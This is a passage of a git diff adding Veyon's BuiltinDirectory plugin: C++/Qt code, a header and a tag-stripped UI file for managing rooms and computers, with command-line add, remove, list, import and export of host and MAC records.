QUuid::createUuid() ) ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + populateRooms(); + + ui->roomTableWidget->setCurrentCell( ui->roomTableWidget->rowCount()-1, 0 ); +} + + + +void BuiltinDirectoryConfigurationPage::updateRoom() +{ + auto currentRoomIndex = ui->roomTableWidget->currentIndex(); + if( currentRoomIndex.isValid() == false ) + { + return; + } + + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.update( currentRoomObject() ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + populateRooms(); + + ui->roomTableWidget->setCurrentIndex( currentRoomIndex ); +} + + + +void BuiltinDirectoryConfigurationPage::removeRoom() +{ + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.remove( currentRoomObject(), true ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + populateRooms(); +} + + + +void BuiltinDirectoryConfigurationPage::addComputer() +{ + auto currentRoomUid = currentRoomObject().uid(); + if( currentRoomUid.isNull() ) + { + return; + } + + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.add( NetworkObject( NetworkObject::Host, tr( "New computer" ), + QString(), QString(), QString(), + QUuid::createUuid(), + currentRoomUid ) ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + populateComputers(); + + ui->computerTableWidget->setCurrentCell( ui->computerTableWidget->rowCount()-1, 0 ); +} + + + +void BuiltinDirectoryConfigurationPage::updateComputer() +{ + auto currentComputerIndex = ui->computerTableWidget->currentIndex(); + if( currentComputerIndex.isValid() == false ) + { + return; + } + + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.update( currentComputerObject() ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + populateComputers(); + + ui->computerTableWidget->setCurrentIndex( currentComputerIndex ); +} + + + +void BuiltinDirectoryConfigurationPage::removeComputer() +{ + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.remove( currentComputerObject() ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + populateComputers(); +} + + + +void BuiltinDirectoryConfigurationPage::populateRooms() +{ + ui->roomTableWidget->setUpdatesEnabled( false ); + ui->roomTableWidget->clear(); + + int rowCount = 0; + + const auto networkObjects = m_configuration.networkObjects(); + for( const auto& networkObjectValue : networkObjects ) + { + const NetworkObject networkObject( networkObjectValue.toObject() ); + if( networkObject.type() == NetworkObject::Group ) + { + auto item = new QTableWidgetItem( networkObject.name() ); + item->setData( NetworkObjectModel::UidRole, networkObject.uid() ); + ui->roomTableWidget->setRowCount( ++rowCount ); + ui->roomTableWidget->setItem( rowCount-1, 0, item ); + } + } + + ui->roomTableWidget->setUpdatesEnabled( true ); +} + + + +void BuiltinDirectoryConfigurationPage::populateComputers() +{ + auto parentUid = currentRoomObject().uid(); + + ui->computerTableWidget->setUpdatesEnabled( false ); + ui->computerTableWidget->setRowCount( 0 ); + + int rowCount = 0; + + const auto networkObjects = m_configuration.networkObjects(); + for( const auto& networkObjectValue : networkObjects ) + { + const NetworkObject networkObject( networkObjectValue.toObject() ); + + if( networkObject.type() == NetworkObject::Host && + networkObject.parentUid() == parentUid ) + { + auto nameItem = new QTableWidgetItem( networkObject.name() ); + nameItem->setData( NetworkObjectModel::UidRole, networkObject.uid() ); + nameItem->setData( NetworkObjectModel::ParentUidRole, networkObject.parentUid() ); + + ui->computerTableWidget->setRowCount( rowCount+1 ); + ui->computerTableWidget->setItem( rowCount, 0, nameItem ); + ui->computerTableWidget->setItem( rowCount, 1, new QTableWidgetItem( networkObject.hostAddress() ) ); + ui->computerTableWidget->setItem( rowCount, 2, new QTableWidgetItem( networkObject.macAddress() ) ); + ++rowCount; + } + } + + ui->computerTableWidget->setUpdatesEnabled( true ); +} + + + +NetworkObject BuiltinDirectoryConfigurationPage::currentRoomObject() const +{ + const auto selectedRoom = ui->roomTableWidget->currentItem(); + if( selectedRoom ) + { + return NetworkObject( NetworkObject::Group, + selectedRoom->text(), + QString(), + QString(), + QString(), + selectedRoom->data( NetworkObjectModel::UidRole ).toUuid(), + selectedRoom->data( NetworkObjectModel::ParentUidRole ).toUuid() ); + } + + return NetworkObject(); +} + + + +NetworkObject BuiltinDirectoryConfigurationPage::currentComputerObject() const +{ + const int row = ui->computerTableWidget->currentRow(); + if( row >= 0 ) + { + auto nameItem = ui->computerTableWidget->item( row, 0 ); + auto hostAddressItem = ui->computerTableWidget->item( row, 1 ); + auto macAddressItem = ui->computerTableWidget->item( row, 2 ); + + return NetworkObject( NetworkObject::Host, + nameItem->text(), + hostAddressItem->text().trimmed(), + macAddressItem->text().trimmed(), + QString(), + nameItem->data( NetworkObjectModel::UidRole ).toUuid(), + nameItem->data( NetworkObjectModel::ParentUidRole ).toUuid() ); + } + + return NetworkObject(); +} diff --git a/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.h b/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.h new file mode 100644 index 0000000..106d245 --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.h @@ -0,0 +1,69 @@ +/* + * BuiltinDirectoryConfigurationPage.h - header for the BuiltinDirectoryConfigurationPage class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef BUILTIN_DIRECTORY_CONFIGURATION_PAGE_H +#define BUILTIN_DIRECTORY_CONFIGURATION_PAGE_H + +#include "ConfigurationPage.h" +#include "NetworkObject.h" + +namespace Ui { +class BuiltinDirectoryConfigurationPage; +} + +class BuiltinDirectoryConfiguration; + +class BuiltinDirectoryConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + BuiltinDirectoryConfigurationPage( BuiltinDirectoryConfiguration& configuration, QWidget* parent = nullptr ); + ~BuiltinDirectoryConfigurationPage(); + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +private slots: + void addRoom(); + void updateRoom(); + void removeRoom(); + void addComputer(); + void updateComputer(); + void removeComputer(); + +private: + void populateRooms(); + void populateComputers(); + + NetworkObject currentRoomObject() const; + NetworkObject currentComputerObject() const; + + Ui::BuiltinDirectoryConfigurationPage *ui; + + BuiltinDirectoryConfiguration& m_configuration; + +}; + +#endif // BUILTIN_DIRECTORY_CONFIGURATION_PAGE_H diff --git a/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.ui b/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.ui new file mode 100644 index 0000000..a4ae9f1 --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectoryConfigurationPage.ui @@ -0,0 +1,287 @@ + + + BuiltinDirectoryConfigurationPage + + + Rooms & computers + + + + :/builtindirectory/application-msonenote.png:/builtindirectory/application-msonenote.png + + + + 0 + + + 0 + + + + + Rooms + + + + + + + Computers + + + + + + + false + + + true + + + false + + + + Rooms + + + + + + + + QAbstractItemView::SelectRows + + + 200 + + + 150 + + + true + + + false + + + + Name + + + + + Host address/IP + + + + + MAC address + + + + + + + + + + Add new room + + + + + + + :/resources/list-add.png:/resources/list-add.png + + + + + + + Remove selected room + + + + + + + :/resources/edit-delete.png:/resource/edit-delete.png + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + + + Add new computer + + + + + + + :/resources/list-add.png:/resources/list-add.png + + + + + + + Remove selected computer + + + + + + + :/resources/edit-delete.png:/resources/edit-delete.png + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + + + + + + addComputerButton + clicked() + BuiltinDirectoryConfigurationPage + addComputer() + + + 646 + 528 + + + 507 + 351 + + + + + removeComputerButton + clicked() + BuiltinDirectoryConfigurationPage + removeComputer() + + + 698 + 528 + + + 507 + 351 + + + + + removeRoomButton + clicked() + BuiltinDirectoryConfigurationPage + removeRoom() + + + 108 + 528 + + + 507 + 351 + + + + + addRoomButton + clicked() + BuiltinDirectoryConfigurationPage + addRoom() + + + 56 + 528 + + + 507 + 351 + + + + + roomTableWidget + cellChanged(int,int) + BuiltinDirectoryConfigurationPage + updateRoom() + + + 150 + 364 + + + 507 + 351 + + + + + computerTableWidget + cellChanged(int,int) + BuiltinDirectoryConfigurationPage + updateComputer() + + + 630 + 364 + + + 507 + 351 + + + + + + addRoom() + removeRoom() + addComputer() + removeComputer() + updateRoom() + updateComputer() + + diff --git a/plugins/builtindirectory/BuiltinDirectoryPlugin.cpp b/plugins/builtindirectory/BuiltinDirectoryPlugin.cpp new file mode 100644 index 0000000..2dbbdb3 --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectoryPlugin.cpp @@ -0,0 +1,701 @@ +/* + * BuiltinDirectoryPlugin.cpp - implementation of BuiltinDirectoryPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "BuiltinDirectoryConfigurationPage.h" +#include "BuiltinDirectory.h" +#include "BuiltinDirectoryPlugin.h" +#include "CommandLineIO.h" +#include "ConfigurationManager.h" +#include "ObjectManager.h" + + +BuiltinDirectoryPlugin::BuiltinDirectoryPlugin( QObject* parent ) : + QObject( parent ), + m_configuration(), + m_commands( { +{ "help", tr( "Show help for specific command" ) }, +{ "add", tr( "Add a room or computer" ) }, +{ "clear", tr( "Clear all rooms and computers" ) }, +{ "dump", tr( "Dump all or individual rooms and computers" ) }, +{ "list", tr( "List all rooms and computers" ) }, +{ "remove", tr( "Remove a room or computer" ) }, +{ "import", tr( "Import objects from given file" ) }, +{ "export", tr( "Export objects to given file" ) }, + } ) +{ +} + + + +BuiltinDirectoryPlugin::~BuiltinDirectoryPlugin() +{ +} + + + +void BuiltinDirectoryPlugin::upgrade( const QVersionNumber& oldVersion ) +{ + if( oldVersion < QVersionNumber( 1, 1 ) && + m_configuration.localDataNetworkObjects().isEmpty() == false ) + { + m_configuration.setNetworkObjects( m_configuration.localDataNetworkObjects() ); + m_configuration.setLocalDataNetworkObjects( QJsonArray() ); + } +} + + + +NetworkObjectDirectory *BuiltinDirectoryPlugin::createNetworkObjectDirectory( QObject* parent ) +{ + return new BuiltinDirectory( m_configuration, parent ); +} + + + +ConfigurationPage *BuiltinDirectoryPlugin::createConfigurationPage() +{ + return new BuiltinDirectoryConfigurationPage( m_configuration ); +} + + + +QStringList BuiltinDirectoryPlugin::commands() const +{ + return m_commands.keys(); +} + + + +QString BuiltinDirectoryPlugin::commandHelp( const QString& command ) const +{ + return m_commands.value( command ); +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_help( const QStringList& arguments ) +{ + const auto command = arguments.value( 0 ); + + if( command == QStringLiteral("import") ) + { + CommandLineIO::print( tr("\nUSAGE\n\n%1 import [room ] [format ] " + "[regex ]\n\n" + "Valid variables: %name% %host% %mac% %room%\n\n" + "Examples:\n\n" + "* Import simple CSV file to a single room:\n\n" + " %1 import computers.csv room \"Room 01\" format \"%name%;%host%;%mac%\"\n\n" + "* Import CSV file with room name in first column:\n\n" + " %1 import computers-with-rooms.csv format \"%room%,%name%,%mac%\"\n\n" + "* Import text file with with key/value pairs using regular expressions:\n\n" + " %1 import hostlist.txt room \"Room 01\" regex \"^NAME:(%name%:.*)\\s+HOST:(%host%:.*)$\"\n\n" + "* Import arbitrarily formatted data:\n\n" + " %1 import data.txt regex '^\"(%room%:[^\"]+)\";\"(%host%:[a-z\\d\\.]+)\".*$'\n"). + arg( commandLineModuleName() ) ); + + return NoResult; + } + else if( command == QStringLiteral("export") ) + { + CommandLineIO::print( tr("\nUSAGE\n\n%1 export [room ] [format ]\n\n" + "Valid variables: %type% %name% %host% %mac% %room%\n\n" + "Examples:\n\n" + "* Export all objects to a CSV file:\n\n" + " %1 export objects.csv format \"%type%;%name%;%host%;%mac%\"\n\n" + "* Export all computers in a room to a CSV file:\n\n" + " %1 export computers.csv room \"Room 01\" format \"%name%;%host%;%mac%\"\n\n"). + arg( commandLineModuleName() ) ); + + return NoResult; + } + else if( command == QStringLiteral("add") ) + { + CommandLineIO::print( tr("\nUSAGE\n\n%1 add [ ]\n\n" + "Adds an object where TYPE can be one of \"%2\" or \"%3\". PARENT can be specified by name or UUID.\n\n" + "Examples:\n\n" + "* Add a room:\n\n" + " %1 add room \"Room 01\"\n\n" + "* Add a computer to room \"Room 01\":\n\n" + " %1 add computer \"Computer 01\" comp01.example.com 11:22:33:44:55:66 \"Room 01\"\n\n"). + arg( commandLineModuleName(), QStringLiteral("room"), QStringLiteral("computer") ) ); + + return NoResult; + } + else if( command == QStringLiteral("remove") ) + { + CommandLineIO::print( tr("\nUSAGE\n\n%1 remove \n\n" + "Removes the specified object from the directory. OBJECT can be specified by name or UUID. " + "Removing a room will also remove all computers inside.\n\n" + "Examples:\n\n" + "* Remove a computer by name:\n\n" + " %1 remove \"Computer 01\"\n\n" + "* Remove an object by UUID:\n\n" + " %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141\n\n"). + arg( commandLineModuleName(), QStringLiteral("room"), QStringLiteral("computer") ) ); + + return NoResult; + } + + return Unknown; +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_add( const QStringList& arguments ) +{ + if( arguments.count() < 2 ) + { + return NotEnoughArguments; + } + + NetworkObject object; + + const auto type = arguments[0]; + const auto name = arguments[1]; + + if( type == QStringLiteral("room") ) + { + object = NetworkObject( NetworkObject::Group, name ); + } + else if( type == QStringLiteral("computer") ) + { + auto hostAddress = arguments.value( 2 ); + if( hostAddress.isEmpty() ) + { + hostAddress = name; + } + const auto macAddress = arguments.value( 3 ); + const auto parent = findNetworkObject( arguments.value( 4 ) ); + object = NetworkObject( NetworkObject::Host, name, hostAddress, macAddress, + QString(), NetworkObject::Uid(), parent.isValid() ? parent.uid() : NetworkObject::Uid() ); + } + else + { + CommandLineIO::error( tr("Invalid type specified. Valid values are \"%1\" or \"%2\"." ). + arg( QStringLiteral("computer"), QStringLiteral("room") ) ); + return Failed; + } + + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.add( object ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + return saveConfiguration(); +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_clear( const QStringList& arguments ) +{ + Q_UNUSED(arguments); + + m_configuration.setNetworkObjects( {} ); + + return saveConfiguration(); +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_dump( const QStringList& arguments ) +{ + CommandLineIO::TableHeader tableHeader( { tr("Object UUID"), tr("Parent UUID"), tr("Type"), tr("Name"), tr("Host address"), tr("MAC address") } ); + CommandLineIO::TableRows tableRows; + + const auto objects = m_configuration.networkObjects(); + + tableRows.reserve( objects.size() ); + + if( arguments.isEmpty() ) + { + for( const auto& networkObjectValue : objects ) + { + tableRows.append( dumpNetworkObject( networkObjectValue.toObject() ) ); + } + } + else + { + tableRows.append( dumpNetworkObject( findNetworkObject( arguments.first() ) ) ); + } + + CommandLineIO::printTable( CommandLineIO::Table( tableHeader, tableRows ) ); + + return NoResult; +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_list( const QStringList& arguments ) +{ + if( arguments.isEmpty() ) + { + listObjects( m_configuration.networkObjects(), NetworkObject::None ); + } + else + { + const auto parents = BuiltinDirectory( m_configuration, this ).queryObjects( NetworkObject::Group, arguments.first() ); + + for( const auto& parent : parents ) + { + listObjects( m_configuration.networkObjects(), parent ); + } + } + + return NoResult; +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_remove( const QStringList& arguments ) +{ + if( arguments.isEmpty() ) + { + return NotEnoughArguments; + } + + const auto object = findNetworkObject( arguments.first() ); + + if( object.isValid() ) + { + ObjectManager objectManager( m_configuration.networkObjects() ); + objectManager.remove( object, true ); + m_configuration.setNetworkObjects( objectManager.objects() ); + + return saveConfiguration(); + } + + CommandLineIO::error( tr( "Specified object not found." ) ); + + return Failed; +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_import( const QStringList& arguments ) +{ + if( arguments.count() < 3 ) + { + return NotEnoughArguments; + } + + const auto inputFileName = arguments.first(); + QFile inputFile( inputFileName ); + + if( inputFile.exists() == false ) + { + CommandLineIO::error( tr( "File \"%1\" does not exist!" ).arg( inputFileName ) ); + return Failed; + } + else if( inputFile.open( QFile::ReadOnly | QFile::Text ) == false ) + { + CommandLineIO::error( tr( "Can't open file \"%1\" for reading!" ).arg( inputFileName ) ); + return Failed; + } + + QString room; + QString formatString; + QString regularExpression; + + for( int i = 1; i < arguments.count(); i += 2 ) + { + if( i+1 >= arguments.count() ) + { + return NotEnoughArguments; + } + + const auto key = arguments[i]; + const auto value = arguments[i+1]; + if( key == QStringLiteral("room") ) + { + room = value; + } + else if( key == QStringLiteral("format") ) + { + formatString = value; + } + else if( key == QStringLiteral("regex") ) + { + regularExpression = value; + } + else + { + CommandLineIO::error( tr( "Unknown argument \"%1\"." ).arg( key ) ); + return InvalidArguments; + } + } + + if( formatString.isEmpty() == false ) + { + regularExpression = formatString; + + const auto variables = fileImportVariables(); + + for( const auto& var : variables ) + { + regularExpression.replace( var, QStringLiteral("(%1:[^\\n\\r]*)").arg( var ) ); + } + } + + if( regularExpression.isEmpty() == false ) + { + if( importFile( inputFile, regularExpression, room ) ) + { + return saveConfiguration(); + } + + return Failed; + } + + CommandLineIO::error( tr("No format string or regular expression specified!") ); + + return InvalidArguments; +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::handle_export( const QStringList& arguments ) +{ + if( arguments.count() < 3 ) + { + return NotEnoughArguments; + } + + const auto outputFileName = arguments.first(); + QFile outputFile( outputFileName ); + + if( outputFile.open( QFile::WriteOnly | QFile::Truncate | QFile::Text ) == false ) + { + CommandLineIO::error( tr( "Can't open file \"%1\" for writing!" ).arg( outputFileName ) ); + return Failed; + } + + QString room; + QString formatString; + + for( int i = 1; i < arguments.count(); i += 2 ) + { + if( i+1 >= arguments.count() ) + { + return NotEnoughArguments; + } + + const auto key = arguments[i]; + const auto value = arguments[i+1]; + if( key == QStringLiteral("room") ) + { + room = value; + } + else if( key == QStringLiteral("format") ) + { + formatString = value; + } + else + { + CommandLineIO::error( tr( "Unknown argument \"%1\"." ).arg( key ) ); + return InvalidArguments; + } + } + + if( formatString.isEmpty() == false ) + { + if( exportFile( outputFile, formatString, room ) ) + { + return Successful; + } + + return Failed; + } + + CommandLineIO::error( tr("No format string specified!") ); + + return InvalidArguments; +} + + + +void BuiltinDirectoryPlugin::listObjects( const QJsonArray& objects, const NetworkObject& parent ) +{ + for( const auto& networkObjectValue : objects ) + { + const NetworkObject networkObject( networkObjectValue.toObject() ); + + if( ( parent.type() == NetworkObject::None && networkObject.parentUid().isNull() ) || + networkObject.parentUid() == parent.uid() ) + { + printf( "%s\n", qUtf8Printable( listNetworkObject( networkObject ) ) ); + listObjects( objects, networkObject ); + } + } +} + + + +QStringList BuiltinDirectoryPlugin::dumpNetworkObject( const NetworkObject& object ) +{ + return { VeyonCore::formattedUuid( object.uid() ), + VeyonCore::formattedUuid( object.parentUid() ), + networkObjectTypeName( object ), + object.name(), + object.hostAddress(), + object.macAddress() }; +} + + + +QString BuiltinDirectoryPlugin::listNetworkObject( const NetworkObject& object ) +{ + switch( object.type() ) + { + case NetworkObject::Group: + return tr( "Room \"%1\"" ).arg( object.name() ); + case NetworkObject::Host: + return QChar('\t') + + tr( "Computer \"%1\" (host address: \"%2\" MAC address: \"%3\")" ). + arg( object.name() ). + arg( object.hostAddress() ). + arg( object.macAddress() ); + default: + break; + } + + return tr( "Unclassified object \"%1\" with ID \"%2\"" ).arg( object.name() ).arg( object.uid().toString() ); +} + + + +QString BuiltinDirectoryPlugin::networkObjectTypeName( const NetworkObject& object ) +{ + switch( object.type() ) + { + case NetworkObject::None: return tr( "None" ); + case NetworkObject::Group: return tr( "Room" ); + case NetworkObject::Host: return tr( "Computer" ); + case NetworkObject::Root: return tr( "Root"); + default: + break; + } + + return tr( "Invalid" ); +} + + + +CommandLinePluginInterface::RunResult BuiltinDirectoryPlugin::saveConfiguration() +{ + ConfigurationManager configurationManager; + if( configurationManager.saveConfiguration() == false ) + { + CommandLineIO::error( configurationManager.errorString() ); + return Failed; + } + + return Successful; +} + + + +bool BuiltinDirectoryPlugin::importFile( QFile& inputFile, + const QString& regExWithVariables, + const QString& room ) +{ + int lineCount = 0; + QMap > networkObjects; + while( inputFile.atEnd() == false ) + { + ++lineCount; + + QString targetRoom = room; + + const auto line = inputFile.readLine(); + const auto networkObject = toNetworkObject( line, regExWithVariables, targetRoom ); + + if( networkObject.isValid() ) + { + networkObjects[targetRoom].append( networkObject ); + } + else + { + CommandLineIO::error( tr( "Error while parsing line %1." ).arg( lineCount ) ); + return false; + } + } + + ObjectManager objectManager( m_configuration.networkObjects() ); + + for( auto it = networkObjects.constBegin(), end = networkObjects.constEnd(); it != end; ++it ) + { + auto parentRoom = objectManager.findByName( it.key() ); + if( parentRoom.isValid() == false ) + { + parentRoom = NetworkObject( NetworkObject::Group, it.key() ); + objectManager.add( parentRoom ); + } + + for( const NetworkObject& networkObject : qAsConst(it.value()) ) + { + objectManager.add( NetworkObject( networkObject.type(), + networkObject.name(), + networkObject.hostAddress(), + networkObject.macAddress(), + QString(), NetworkObject::Uid(), + parentRoom.uid() ) ); + } + } + + m_configuration.setNetworkObjects( objectManager.objects() ); + + return true; +} + + + +bool BuiltinDirectoryPlugin::exportFile( QFile& outputFile, const QString& formatString, const QString& room ) +{ + ObjectManager objectManager( m_configuration.networkObjects() ); + + const auto networkObjects = objectManager.objects(); + + NetworkObject roomObject; + if( room.isEmpty() == false ) + { + roomObject = objectManager.findByName( room ); + } + + QStringList lines; + lines.reserve( networkObjects.count() ); + + for( auto it = networkObjects.constBegin(), end = networkObjects.constEnd(); it != end; ++it ) + { + const NetworkObject networkObject( it->toObject() ); + + QString currentRoom = room; + + if( roomObject.isValid() ) + { + if( networkObject.parentUid() != roomObject.uid() ) + { + continue; + } + } + else + { + currentRoom = objectManager.findByUid( networkObject.parentUid() ).name(); + } + + lines.append( toFormattedString( networkObject, formatString, currentRoom ) ); + } + + // append empty string to generate final newline at end of file + lines += QString(); + + outputFile.write( lines.join( QStringLiteral("\r\n") ).toUtf8() ); + + return true; +} + + + +NetworkObject BuiltinDirectoryPlugin::findNetworkObject( const QString& uidOrName ) const +{ + const ObjectManager objectManager( m_configuration.networkObjects() ); + + if( QUuid( uidOrName ).isNull() ) + { + return objectManager.findByName( uidOrName ); + } + + return objectManager.findByUid( uidOrName ); +} + + + +NetworkObject BuiltinDirectoryPlugin::toNetworkObject( const QString& line, const QString& regExWithVariables, QString& room ) +{ + QStringList variables; + QRegExp varDetectionRX( "\\((%\\w+%):[^)]+\\)" ); + int pos = 0; + + while( ( pos = varDetectionRX.indexIn( regExWithVariables, pos ) ) != -1 ) + { + variables.append( varDetectionRX.cap(1) ); + pos += varDetectionRX.matchedLength(); + } + + QString rxString = regExWithVariables; + for( const auto& var : qAsConst(variables) ) + { + rxString.replace( QStringLiteral("%1:").arg( var ), QString() ); + } + + QRegExp rx( rxString ); + if( rx.indexIn( line ) != -1 ) + { + const auto roomIndex = variables.indexOf( QStringLiteral("%room%") ); + const auto nameIndex = variables.indexOf( QStringLiteral("%name%") ); + const auto hostIndex = variables.indexOf( QStringLiteral("%host%") ); + const auto macIndex = variables.indexOf( QStringLiteral("%mac%") ); + + if( room.isEmpty() && roomIndex != -1 ) + { + room = rx.cap( 1 + roomIndex ).trimmed(); + } + auto name = ( nameIndex != -1 ) ? rx.cap( 1 + nameIndex ).trimmed() : QString(); + auto host = ( hostIndex != -1 ) ? rx.cap( 1 + hostIndex ).trimmed() : QString(); + auto mac = ( macIndex != -1 ) ? rx.cap( 1 + macIndex ).trimmed() : QString(); + + if( host.isEmpty() ) + { + host = name; + } + else if( name.isEmpty() ) + { + name = host; + } + return NetworkObject( NetworkObject::Host, name, host, mac ); + } + + return NetworkObject::None; +} + + + +QString BuiltinDirectoryPlugin::toFormattedString( const NetworkObject& networkObject, + const QString& formatString, + const QString& room ) +{ + return QString( formatString ). + replace( QStringLiteral("%room%"), room ). + replace( QStringLiteral("%name%"), networkObject.name() ). + replace( QStringLiteral("%host%"), networkObject.hostAddress() ). + replace( QStringLiteral("%mac%"), networkObject.macAddress() ). + replace( QStringLiteral("%type%"), networkObjectTypeName( networkObject ) ); +} + + + +QStringList BuiltinDirectoryPlugin::fileImportVariables() +{ + return { "%room%", "%name%", "%host%", "%mac%" }; +} diff --git a/plugins/builtindirectory/BuiltinDirectoryPlugin.h b/plugins/builtindirectory/BuiltinDirectoryPlugin.h new file mode 100644 index 0000000..19e4b8d --- /dev/null +++ b/plugins/builtindirectory/BuiltinDirectoryPlugin.h @@ -0,0 +1,144 @@ +/* + * BuiltinDirectoryPlugin.h - declaration of BuiltinDirectoryPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef BUILTIN_DIRECTORY_PLUGIN_H +#define BUILTIN_DIRECTORY_PLUGIN_H + +#include "CommandLinePluginInterface.h" +#include "ConfigurationPagePluginInterface.h" +#include "BuiltinDirectoryConfiguration.h" +#include "NetworkObject.h" +#include "NetworkObjectDirectoryPluginInterface.h" + +class QFile; + +class BuiltinDirectoryPlugin : public QObject, + PluginInterface, + NetworkObjectDirectoryPluginInterface, + ConfigurationPagePluginInterface, + CommandLinePluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.BuiltinDirectory") + Q_INTERFACES(PluginInterface + NetworkObjectDirectoryPluginInterface + ConfigurationPagePluginInterface + CommandLinePluginInterface) +public: + BuiltinDirectoryPlugin( QObject* paren = nullptr ); + ~BuiltinDirectoryPlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("14bacaaa-ebe5-449c-b881-5b382f952571"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "BuiltinDirectory" ); + } + + QString description() const override + { + return tr( "Network object directory which stores objects in local configuration" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + Plugin::Flags flags() const override + { + return Plugin::ProvidesDefaultImplementation; + } + + void upgrade( const QVersionNumber& oldVersion ) override; + + QString directoryName() const override + { + return tr( "Builtin (computers and rooms in local configuration)" ); + } + + NetworkObjectDirectory* createNetworkObjectDirectory( QObject* parent ) override; + + ConfigurationPage* createConfigurationPage() override; + + QString commandLineModuleName() const override + { + return QStringLiteral( "networkobjects" ); + } + + QString commandLineModuleHelp() const override + { + return tr( "Commands for managing the builtin network object directory" ); + } + + QStringList commands() const override; + QString commandHelp( const QString& command ) const override; + +public slots: + CommandLinePluginInterface::RunResult handle_help( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_add( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_clear( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_dump( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_list( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_remove( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_import( const QStringList& arguments ); + CommandLinePluginInterface::RunResult handle_export( const QStringList& arguments ); + +private: + void listObjects( const QJsonArray& objects, const NetworkObject& parent ); + static QStringList dumpNetworkObject( const NetworkObject& object ); + static QString listNetworkObject( const NetworkObject& object ); + static QString networkObjectTypeName( const NetworkObject& object ); + + CommandLinePluginInterface::RunResult saveConfiguration(); + + bool importFile( QFile& inputFile, const QString& regExWithVariables, const QString& room ); + bool exportFile( QFile& outputFile, const QString& formatString, const QString& room ); + + NetworkObject findNetworkObject( const QString& uidOrName ) const; + + static NetworkObject toNetworkObject( const QString& line, const QString& regExWithVariables, QString& room ); + static QString toFormattedString( const NetworkObject& networkObject, const QString& formatString, const QString& room ); + + static QStringList fileImportVariables(); + + BuiltinDirectoryConfiguration m_configuration; + QMap m_commands; + +}; + +#endif // BUILTIN_DIRECTORY_PLUGIN_H diff --git a/plugins/builtindirectory/CMakeLists.txt b/plugins/builtindirectory/CMakeLists.txt new file mode 100644 index 0000000..35822a0 --- /dev/null +++ b/plugins/builtindirectory/CMakeLists.txt @@ -0,0 +1,18 @@ 